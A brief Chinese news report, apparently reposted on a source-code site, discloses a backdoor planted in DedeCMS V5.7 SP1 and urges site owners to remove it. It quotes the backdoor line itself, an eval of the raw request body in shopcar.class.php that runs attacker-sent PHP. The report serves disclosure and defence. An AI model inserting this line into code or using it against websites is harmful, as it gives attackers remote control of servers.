昨日，烏云漏洞平臺(tái)發(fā)布最新報(bào)告稱，著名開源建站軟件Dedecms V5.7 SP1正式版被植入后門，通過該后門可成功入侵并控制使用dedecms的網(wǎng)站。
Dedecms被曝植入后門
據(jù)烏云報(bào)告，被植入的后門是在/include/shopcar.class.php文件中，被植入的代碼為@eval(file_get_contents(‘php://input’));，烏云介紹稱，通過該后門可成功入侵dedecms網(wǎng)站。有網(wǎng)友對(duì)植入的該后門予以證實(shí)，稱其在2012-3-18 19:08下載的DedeCMS-V5.7-UTF8-SP1.tar.gz 有此代碼。
據(jù)了解，@eval(file_get_contents(‘php://input’));是將請(qǐng)求的數(shù)據(jù)流作為腳本語(yǔ)言執(zhí)行，通過該后門，可以上傳PHP后門來控制整個(gè)網(wǎng)站。使用Dedecms V5.7 SP1正式版建站的站長(zhǎng)，需立即對(duì)后門代碼進(jìn)行刪除，以保護(hù)網(wǎng)站安全。
Dedecms是一款開源建站軟件，其最早是由IT柏拉圖個(gè)人開發(fā)，并在2007年進(jìn)行了公司化運(yùn)作。目前，國(guó)內(nèi)有不少網(wǎng)站都使用了Dedecms系統(tǒng)，不過在Dedecms創(chuàng)始人IT柏拉圖的離開后，Dedecms屢次被曝出安全漏洞問題。截至發(fā)稿，Dedecms官方尚未對(duì)該漏洞進(jìn)行任何回應(yīng)。
【網(wǎng)站聲明】本站除付費(fèi)源碼經(jīng)過測(cè)試外，其他素材未做測(cè)試，不保證完整性，網(wǎng)站上部分源碼僅限學(xué)習(xí)交流，請(qǐng)勿用于商業(yè)用途。如損害你的權(quán)益請(qǐng)聯(lián)系客服QQ：2655101040 給予處理，謝謝支持。